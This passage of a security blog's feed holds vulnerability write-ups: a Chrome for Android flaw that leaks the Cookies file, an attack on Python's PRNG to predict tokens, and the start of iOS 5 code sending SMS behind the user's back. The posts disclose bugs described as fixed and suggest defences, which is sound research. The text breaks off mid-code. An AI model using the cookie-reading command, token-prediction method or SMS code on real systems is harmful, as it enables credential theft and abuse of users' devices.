&lt;a href="http://1.bp.blogspot.com/-VPPAPaIDVOg/UJDT8oqnAMI/AAAAAAAAB6E/vM00HOVi8ME/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://1.bp.blogspot.com/-VPPAPaIDVOg/UJDT8oqnAMI/AAAAAAAAB6E/vM00HOVi8ME/s640/4.png" width="360" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Voilà, JavaScript has been executed in the context of the domain www.google.ru.&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style="text-align: left;"&gt;
CREDENTIAL DISCLOSURE&lt;/h2&gt;
Another problem — automatic file downloading — was a real headache for all Chrome-like browsers. If you opened a binary file in the Chrome browser, it was downloaded without your approval to the SDCard directory. The same thing happened with a default browser, where this "feature" was used by &lt;a href="http://blog.mylookout.com/blog/2012/05/02/security-alert-hacked-websites-serve-suspicious-android-apps-noncompatible/" target="_blank"&gt;NonCompatible malware&lt;/a&gt;. So you may ask what it has to do with credential disclosure. Look at the Chrome directory on the system.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-YWi-BWCNqWE/UJDUc7tlHuI/AAAAAAAAB6M/T8ynYk1xyV0/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="458" src="http://1.bp.blogspot.com/-YWi-BWCNqWE/UJDUc7tlHuI/AAAAAAAAB6M/T8ynYk1xyV0/s640/5.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
These files (such as Cookies, History, etc) can be read only by Chrome app. It looks secure. Try to launch Chrome using the file:// wrapper and open the Cookies file.&lt;br /&gt;
&lt;br /&gt;
shell@android:/ $ am start -n com.android.chrome/com.android.chrome.Main -d 'file:///data/data/com.android.chrome/app_chrome/Default/Cookies'&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-Ov4N3M0cuBo/UJDUmN3o8mI/AAAAAAAAB6U/9HSiwDjCniM/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="264" src="http://2.bp.blogspot.com/-Ov4N3M0cuBo/UJDUmN3o8mI/AAAAAAAAB6U/9HSiwDjCniM/s640/6.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
When the browser starts, Cookies are downloaded/copied to /sdcard/Downloads/Cookies.bin and can be read by any application of the system.&lt;br /&gt;
&lt;br /&gt;
I provided detailed information to the Chromium security team, and these bugs were fixed in version 18.0.1025308.&lt;br /&gt;
&lt;br /&gt;
Links:&lt;br /&gt;
&lt;a href="http://code.google.com/p/chromium/issues/detail?id=138035"&gt;http://code.google.com/p/chromium/issues/detail?id=138035&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://code.google.com/p/chromium/issues/detail?id=138210"&gt;http://code.google.com/p/chromium/issues/detail?id=138210&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Author: Artem Chaykin, Positive Research.&lt;/i&gt;&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2012/10/google-chrome-for-android-uxss-and.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-YAKYO1wMMH8/UJDW7S-sJAI/AAAAAAAAB6c/8Fk_xlJS358/s72-c/logo.jpg" height="72" width="72" /><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-4064135204582180322</guid><pubDate>Thu, 25 Oct 2012 12:13:00 +0000</pubDate><atom:updated>2012-10-26T01:19:56.343-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">random numbers</category><category domain="http://www.blogger.com/atom/ns#">random numbers generator</category><category domain="http://www.blogger.com/atom/ns#">Python</category><title>Random Number Security in Python</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-iTWEkgMRoMo/UIZBkLwd-bI/AAAAAAAAB3A/mBIB5V2pq7Y/s1600/1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://4.bp.blogspot.com/-iTWEkgMRoMo/UIZBkLwd-bI/AAAAAAAAB3A/mBIB5V2pq7Y/s200/1.jpg" width="198" /&gt;&lt;/a&gt;&lt;/div&gt;
This is the second article devoted to the vulnerabilities of pseudorandom number generators (PRNG).&lt;br /&gt;
A series of publications describing the PRNG vulnerabilities from the basic ones ([1]) to vulnerabilities in various programming languages implemented in CMS and other software ([2],[3],[4]) have appeared recently.&lt;br /&gt;
&lt;br /&gt;
These publications are popular because PRNG is the basis of web application security. Pseudorandom numbers/character sequences are used in web application security for:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;Generation of different tokens (CSRF, password reset tokens, and etc.)&lt;/li&gt;
&lt;li&gt;Generation of random passwords&lt;/li&gt;
&lt;li&gt;Generation of a text in CAPTCHA&lt;/li&gt;
&lt;li&gt;Generation of session identifiers&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
The &lt;a href="http://blog.ptsecurity.com/2012/08/not-so-random-numbers-take-two.html" target="_blank"&gt;previous article&lt;/a&gt;, relying on the research of George Argyros and Aggelos Kiayias ([3]), explained how to guess random numbers in PHP using &lt;b&gt;PHPSESSID &lt;/b&gt;and taught various methods to reduce pseudorandom number entropy.&lt;br /&gt;
&lt;br /&gt;
Now we are going to consider PRNG in web applications written in the Python language.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;h2 style="text-align: left;"&gt;
SPECIFIC FEATURES OF PYTHON PRNG&lt;/h2&gt;
Python-е includes 3 modules intended for generation of random/pseudorandom numbers — &lt;b&gt;random&lt;/b&gt;, &lt;b&gt;urandom&lt;/b&gt;, and &lt;b&gt;_random&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;&lt;b&gt;_random&lt;/b&gt; implements the &lt;i&gt;Mersenne Twister&lt;/i&gt; algorithm (&lt;b&gt;MT&lt;/b&gt;) ([6],[7]) with few changes in the C language&lt;/li&gt;
&lt;li&gt;&lt;b&gt;urandom &lt;/b&gt;uses external entropy resources (CryptGenRandom uses Windows encryption provider) in the C language&lt;/li&gt;
&lt;li&gt;&lt;b&gt;random &lt;/b&gt;is a shell for the &lt;b&gt;_random &lt;/b&gt;module in Python-е, including both libraries and having two main functions for pseudorandom number generation — &lt;b&gt;random()&lt;/b&gt; and &lt;b&gt;SystemRandom()&lt;/b&gt;.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;h3 style="text-align: left;"&gt;
RANDOM()&lt;/h3&gt;
The first uses the MT algorithm (&lt;b&gt;_random&lt;/b&gt;), but first of all it tries to initiate it with &lt;b&gt;SEED &lt;/b&gt;taken from urandom, which converts PRNG to RNG (random number generator). If you fail to call urandom (say, /dev/urandom is missing or a necessary function is not called from the library advapi32.dll), then int(time.time() * 256) will be used as SEED (which, as you already know, ensures weak entropy).&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style="text-align: left;"&gt;
SYSTEMRANDOM()&lt;/h3&gt;
&lt;b&gt;SystemRandom()&lt;/b&gt; calls &lt;b&gt;urandom&lt;/b&gt;, which uses external resources for random data generation.&lt;br /&gt;
The MT algorithm change means that instead of a number based on one of 624 numbers from the current PRNG state (state) two numbers are used:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;random_random()&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;{&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; unsigned long a=genrand_int32(self)&amp;gt;&amp;gt;5, b=genrand_int32(self)&amp;gt;&amp;gt;6;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; return PyFloat_FromDouble((a*67108864.0+b)*(1.0/9007199254740992.0));&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;}&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
As opposed to PHP, the generator can be initiated not only with the &lt;i&gt;long &lt;/i&gt;variable, but with any byte sequence (&lt;i&gt;init_by_array()&lt;/i&gt; is called), this exactly happens when the &lt;b&gt;random &lt;/b&gt;module is imported with the help of an external entropy resource (32 bytes taken from &lt;b&gt;urandom&lt;/b&gt;), and in case it fails, &lt;i&gt;time()&lt;/i&gt; is used:&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;i&gt;if a is None: try:&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; a = int.from_bytes(_urandom(32), 'big')&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; except NotImplementedError:&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; import time&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;a = int(time.time() * 256)&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style="text-align: left;"&gt;
PROTECTION&lt;/h2&gt;
It would seem the data of the change, as opposed to PHP, provides sufficient generator entropy even if &lt;b&gt;random.random()&lt;/b&gt; is called. That's not so bad.&lt;br /&gt;
&lt;br /&gt;
Python frameworks are distinguished from PHP by the fact that Python is started once together with a web server. It means that the state is initialized by default only once when the &lt;b&gt;import random&lt;/b&gt; command is executed or when &lt;b&gt;random.seed()&lt;/b&gt; is forced (it is very rare in web applications), which allows attacking the MT state in accordance with the following algorithm:&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;Find a script displaying the value &lt;b&gt;random.random()&lt;/b&gt; (for instance, error logger does this in Plone (&lt;b&gt;SiteErrorLog.py&lt;/b&gt;), it leads to a page "&lt;i&gt;error with number *** is detected&lt;/i&gt;", where a random number is displayed).&lt;/li&gt;
&lt;li&gt;Make consequently a series of requests and fix random numbers in them. Request numbers are &lt;b&gt;1,2,199,200,511,625&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;Perform an easy-to-guess action with the &lt;b&gt;313th&lt;/b&gt; request (for example, generate a link to reset a password).&lt;/li&gt;
&lt;li&gt;Relying on requests &lt;b&gt;1,199&lt;/b&gt;, define the states &lt;b&gt;state_1[1],&lt;/b&gt; &lt;b&gt;state_1[2]&lt;/b&gt;, &lt;b&gt;state_1[397]&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;Relying on requests &lt;b&gt;2,200&lt;/b&gt;, define the states &lt;b&gt;state_1[3]&lt;/b&gt;, &lt;b&gt;state_1[398]&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;Relying on request &lt;b&gt;511&lt;/b&gt; — &lt;b&gt;state_2[397]&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;Relying on request &lt;b&gt;625&lt;/b&gt; — &lt;b&gt;state_3[1]&lt;/b&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Accurate state determination depends on a state element index (&lt;b&gt;i&lt;/b&gt;): for &lt;i&gt;i mod 2=0 &lt;/i&gt;entropy is &lt;b&gt;2^6&lt;/b&gt;, for &lt;i&gt;i mod 2 = 1 —&lt;/i&gt; &lt;b&gt;2^5&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Requests &lt;b&gt;1,2,199,200&lt;/b&gt; help determine the states &lt;b&gt;state_1[1]&lt;/b&gt;, &lt;b&gt;state_1[2]&lt;/b&gt;, &lt;b&gt;state_1[3]&lt;/b&gt;, &lt;b&gt;state_1[397]&lt;/b&gt;, &lt;b&gt;state_1[398]&lt;/b&gt;, on the basis of which &lt;b&gt;state_2[1]&lt;/b&gt; and &lt;b&gt;state_2[2]&lt;/b&gt; are generated, from which random request number No. &lt;b&gt;313&lt;/b&gt; is resulted. However, this number entropy is &lt;b&gt;2^24 (16M)&lt;/b&gt;. The entropy is reduced with requests &lt;b&gt;511&lt;/b&gt; and &lt;b&gt;625&lt;/b&gt;. These requests help calculate &lt;b&gt;state_2[397]&lt;/b&gt;, &lt;b&gt;state_3[1]&lt;/b&gt;. It reduces the number of state options up to &lt;b&gt;2^8&lt;/b&gt;. It means that there are only &lt;b&gt;256 &lt;/b&gt;options of a "random" number used in request &lt;b&gt;No. 313&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
For the attack to be performed, it is necessary to prevent anybody from interfering with the requesting process and changing the PRNG state (in other words, to define state indexes correctly). It is also necessary to ensure request &lt;b&gt;No. 1&lt;/b&gt; to use PRNG state elements with indexes not higher than &lt;b&gt;224&lt;/b&gt;, otherwise request &lt;b&gt;No. 200&lt;/b&gt; will use another generator state, which will corrupt the algorithm functioning. It is &lt;b&gt;36%&lt;/b&gt; possible.&lt;br /&gt;
That is why an additional task of request &lt;b&gt;No. 625&lt;/b&gt; is to determine that all previous requests have been made in the necessary states and nobody has interfered with the requesting process.&lt;br /&gt;
&lt;br /&gt;
In addition, here is a &lt;a href="http://www.ptsecurity.ru/download/brute.py" target="_blank"&gt;script&lt;/a&gt;, which receives random numbers of 6 requests at the input. All possible random numbers of request &lt;b&gt;No. 313&lt;/b&gt; are generated at exit.&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style="text-align: left;"&gt;
PRACTICAL APPLICATION&lt;/h2&gt;
We analyzed several frameworks and web applications in the Python language (including Plone and Django). Unfortunately (but maybe fortunately), we couldn't find vulnerable ones among them.&lt;br /&gt;
&lt;br /&gt;
The most anticipated target is Plone as random numbers can be displayed in it (&lt;b&gt;SiteErrorLog.py&lt;/b&gt;), but the attack problem is the following:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Plone &lt;/b&gt;functions under &lt;i&gt;Python 2.7.*&lt;/i&gt;, which cuts the last 5 numbers when float is converted to &lt;i&gt;str()&lt;/i&gt;. It sufficiently broadens the number of options (including local bruteforce and external requests to the server).&lt;br /&gt;
Python of the third branch does not cut float in the &lt;i&gt;st()r&lt;/i&gt; function, which makes its applications the most vulnerable to attacks.&lt;br /&gt;
&lt;br /&gt;
Here is a &lt;a href="http://www.ptsecurity.ru/download/brute.py" target="_blank"&gt;script&lt;/a&gt;, which receives 6 random numbers at input (initiated by the state with necessary indexes, for instance, from the test script vuln.py), and generates possible options of this random number at exit. It takes about an hour on an "average" computer.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Note: this script does not take into account the error of element state determination for (i mod 2 = 1), that is why the script efficiency reduces from 36% to 18%.&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style="text-align: left;"&gt;
CONCLUSION&lt;/h2&gt;
The specific features of the framework code execution (web server side) allow an attacker to conduct attacks impossible or hardly implemented in the PHP language. It is required to follow simple rules to protect PRNG:&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;Use the &lt;b&gt;urandom &lt;/b&gt;module or the &lt;b&gt;random.SystemRandom()&lt;/b&gt; function.&lt;/li&gt;
&lt;li&gt;Initiate with the help of &lt;b&gt;random.seed()&lt;/b&gt; prior to each &lt;b&gt;random.random()&lt;/b&gt; call with sufficient &lt;b&gt;SEED &lt;/b&gt;entropy (if it is impossible to use &lt;b&gt;urandom&lt;/b&gt;, you can use, for example, the value of the function &lt;b&gt;md5(time.time()*(int)salt1+str(salt2))&lt;/b&gt; as &lt;b&gt;SEED&lt;/b&gt;, where &lt;b&gt;salt1 &lt;/b&gt;and &lt;b&gt;salt2 &lt;/b&gt;are initiated in the course of web application installation).&lt;/li&gt;
&lt;li&gt;Restrict random number displaying in your web application (you only need to use such hash functions as &lt;b&gt;md5&lt;/b&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style="text-align: left;"&gt;
LINKS&lt;/h2&gt;
[1] &lt;a href="http://blog.ptsecurity.com/2012/08/not-so-random-numbers-take-two.html"&gt;http://blog.ptsecurity.com/2012/08/not-so-random-numbers-take-two.html&lt;/a&gt; [ru]&lt;br /&gt;
[2] &lt;a href="http://jazzy.id.au/default/2010/09/20/cracking_random_number_generators_part_1"&gt;http://jazzy.id.au/default/2010/09/20/cracking_random_number_generators_part_1&lt;/a&gt;.html&lt;br /&gt;
[3] &lt;a href="http://crypto.di.uoa.gr/CRYPTO.SEC/Randomness_Attacks_files/paper.pdf"&gt;http://crypto.di.uoa.gr/CRYPTO.SEC/Randomness_Attacks_files/paper.pdf&lt;/a&gt;&lt;br /&gt;
[4] &lt;a href="http://www.slideshare.net/d0znpp/dcg7812-cryptographyinwebapps-14052863" target="_blank"&gt;http://www.slideshare.net/d0znpp/dcg7812-cryptographyinwebapps-14052863&amp;nbsp;&lt;/a&gt;&lt;br /&gt;
[5] &lt;a href="http://media.blackhat.com/bh-us-10/presentations/Kamkar/BlackHat-USA-2010-Kamkar-How-I-Met-Your-Girlfriend-slides.pdf"&gt;http://media.blackhat.com/bh-us-10/presentations/Kamkar/BlackHat-USA-2010-Kamkar-How-I-Met-Your-Girlfriend-slides.pdf&lt;/a&gt;&lt;br /&gt;
[6] h&lt;a href="ttp://en.wikipedia.org/wiki/Mersenne_twister"&gt;ttp://en.wikipedia.org/wiki/Mersenne_twister&lt;/a&gt;&lt;br /&gt;
[7] &lt;a href="http://jazzy.id.au/default/2010/09/22/cracking_random_number_generators_part_3.html%C2%A0" target="_blank"&gt;http://jazzy.id.au/default/2010/09/22/cracking_random_number_generators_part_3.html&amp;nbsp;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2012/10/random-number-security-in-python.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-iTWEkgMRoMo/UIZBkLwd-bI/AAAAAAAAB3A/mBIB5V2pq7Y/s72-c/1.jpg" height="72" width="72" /><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-8155625023753363583</guid><pubDate>Wed, 24 Oct 2012 12:39:00 +0000</pubDate><atom:updated>2013-05-16T23:20:21.564-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">xpc</category><category domain="http://www.blogger.com/atom/ns#">ios</category><category domain="http://www.blogger.com/atom/ns#">sms</category><category domain="http://www.blogger.com/atom/ns#">Best of Positive Research</category><category domain="http://www.blogger.com/atom/ns#">apple</category><title>Your Flashlight Can Send SMS — One More Reason to Update up to iOS 6</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-9ElastxBk-c/UIfenCeHfcI/AAAAAAAAB3g/zoDjoVpKPh0/s1600/ios.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-9ElastxBk-c/UIfenCeHfcI/AAAAAAAAB3g/zoDjoVpKPh0/s1600/ios.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;
Today I'm not going to tell you how the security system of iOS 5 is organized. We will not gather bits of information using undocumented features either. We'll just send an SMS from an application behind the user's back.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
There is too little information describing low-level operations on iOS. These bits do not allow viewing the picture as a whole. A lot of header files have closed sources. The majority of steps are taken blindly. MacOS X, the mobile platform ancestor, becomes the main experimental field.&lt;br /&gt;
&lt;br /&gt;
One of the systems of inter-process communication in MacOS is &lt;a href="http://developer.apple.com/library/mac/documentation/System/Reference/XPCServicesFW/XPCServicesFW.pdf" target="_blank"&gt;XPC&lt;/a&gt;. This system layer has been developed for inter-process communication based on transfer of plist structures using libSystem and launchd. In fact, it is an interface that allows managing processes via the exchange of such structures as dictionary. Due to heredity, iOS 5 possesses this mechanism as well.&lt;br /&gt;
&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;
You might already understand what I mean by this introduction. Yep, there are system services in iOS that include tools for XPC communication. And I want to exemplify the work with daemon for SMS sending. However, it should be mentioned that &lt;b&gt;the vulnerability is fixed in iOS 6&lt;/b&gt;, but is relevant for iOS 5.0—5.1.1. Jailbreak, Private Framework, and other illegal tools are not required for its exploitation. Only the set of header files from the directory /usr/include/xpc/* is needed.&lt;br /&gt;
&lt;br /&gt;
One of the elements for SMS sending in iOS is the system service com.apple.chatkit, the tasks of which include generation, management, and sending of short text messages. For the ease of control, it has the publicly available communication port com.apple.chatkit.clientcomposeserver.xpc. Using the XPC subsystem, you can generate and send messages without user's approval. &lt;br /&gt;
&lt;br /&gt;
Well, let's try to create connection.&lt;br /&gt;
&lt;pre style="background-color: white;"&gt;xpc_connection_t myconnection&lt;span style="color: purple;"&gt;;&lt;/span&gt;
 
dispatch_queue_t queue &lt;span style="color: #808030;"&gt;=&lt;/span&gt; dispatch_queue_create&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;com.apple.chatkit.clientcomposeserver.xpc&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; DISPATCH_QUEUE_CONCURRENT&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
 
myconnection &lt;span style="color: #808030;"&gt;=&lt;/span&gt; xpc_connection_create_mach_service&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;com.apple.chatkit.clientcomposeserver.xpc&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; queue&lt;span style="color: #808030;"&gt;,&lt;/span&gt; XPC_CONNECTION_MACH_SERVICE_PRIVILEGED&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;&lt;/pre&gt;
Now we have the XPC connection myconnection to the service of SMS sending. However, XPC configuration provides for creation of suspended connections —we need to take one more step for the activation.&lt;br /&gt;
&lt;pre&gt;&lt;span style="background-color: white;"&gt;xpc_connection_set_event_handler&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;(&lt;/span&gt;&lt;span style="background-color: white;"&gt;myconnection&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;,&lt;/span&gt;&lt;span style="background-color: white;"&gt; &lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;^&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;(&lt;/span&gt;&lt;span style="background-color: white;"&gt;xpc_object_t event&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;){&lt;/span&gt;&lt;span style="background-color: white;"&gt;
        xpc_type_t xtype &lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;=&lt;/span&gt;&lt;span style="background-color: white;"&gt; xpc_get_type&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;(&lt;/span&gt;&lt;span style="background-color: white;"&gt;event&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;)&lt;/span&gt;&lt;span style="background-color: white; color: purple;"&gt;;&lt;/span&gt;&lt;span style="background-color: white;"&gt;
        &lt;/span&gt;&lt;span style="background-color: white; color: maroon; font-weight: bold;"&gt;if&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;(&lt;/span&gt;&lt;span style="background-color: white;"&gt;XPC_TYPE_ERROR &lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;=&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;=&lt;/span&gt;&lt;span style="background-color: white;"&gt; xtype&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style="background-color: white;"&gt;        {&lt;/span&gt;&lt;span style="background-color: white;"&gt;
        NSLog&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;(&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;@&lt;/span&gt;&lt;span style="background-color: white; color: maroon;"&gt;"&lt;/span&gt;&lt;span style="background-color: white; color: #0000e6;"&gt;XPC sandbox connection error: &lt;/span&gt;&lt;span style="background-color: white; color: #0f69ff;"&gt;%s&lt;/span&gt;&lt;span style="background-color: white; color: #0f69ff;"&gt;\n&lt;/span&gt;&lt;span style="background-color: white; color: maroon;"&gt;"&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;,&lt;/span&gt;&lt;span style="background-color: white;"&gt; xpc_dictionary_get_string&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;(&lt;/span&gt;&lt;span style="background-color: white;"&gt;event&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;,&lt;/span&gt;&lt;span style="background-color: white;"&gt; XPC_ERROR_KEY_DESCRIPTION&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;)&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;)&lt;/span&gt;&lt;span style="background-color: white; color: purple;"&gt;;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span style="background-color: white;"&gt;        }
        &lt;/span&gt;&lt;span style="background-color: white; color: dimgrey;"&gt;// Always set an event handler. More on this later.&lt;/span&gt;&lt;span style="background-color: white;"&gt;
        
        NSLog&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;(&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;@&lt;/span&gt;&lt;span style="background-color: white; color: maroon;"&gt;"&lt;/span&gt;&lt;span style="background-color: white; color: #0000e6;"&gt;Received an message event!&lt;/span&gt;&lt;span style="background-color: white; color: maroon;"&gt;"&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;)&lt;/span&gt;&lt;span style="background-color: white; color: purple;"&gt;;&lt;/span&gt;&lt;span style="background-color: white;"&gt;
        
    &lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;})&lt;/span&gt;&lt;span style="background-color: white; color: purple;"&gt;;&lt;/span&gt;&lt;span style="background-color: white;"&gt;

    xpc_connection_resume&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;(&lt;/span&gt;&lt;span style="background-color: white;"&gt;myconnection&lt;/span&gt;&lt;span style="background-color: white; color: #808030;"&gt;)&lt;/span&gt;&lt;span style="background-color: white; color: purple;"&gt;;&lt;/span&gt;&lt;/pre&gt;
The connection is activated. Right at this moment iOS 6 will display a message in the telephone log that this type of communication is forbidden. Now we need to generate a dictionary similar to xpc_dictionary with the data required for the message sending.
&lt;br /&gt;
&lt;pre style="background-color: white;"&gt;NSArray &lt;span style="color: #808030;"&gt;*&lt;/span&gt;receipements &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;[&lt;/span&gt;NSArray arrayWithObjects&lt;span style="color: purple;"&gt;:&lt;/span&gt;&lt;span style="color: #808030;"&gt;@&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;+7 (90*) 000-00-00&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; nil&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    
NSData &lt;span style="color: #808030;"&gt;*&lt;/span&gt;ser_rec &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;[&lt;/span&gt;NSPropertyListSerialization dataWithPropertyList&lt;span style="color: purple;"&gt;:&lt;/span&gt;receipements format&lt;span style="color: purple;"&gt;:&lt;/span&gt;&lt;span style="color: #008c00;"&gt;200&lt;/span&gt; options&lt;span style="color: purple;"&gt;:&lt;/span&gt;&lt;span style="color: #008c00;"&gt;0&lt;/span&gt; error&lt;span style="color: purple;"&gt;:&lt;/span&gt;&lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

xpc_object_t mydict &lt;span style="color: #808030;"&gt;=&lt;/span&gt; xpc_dictionary_create&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
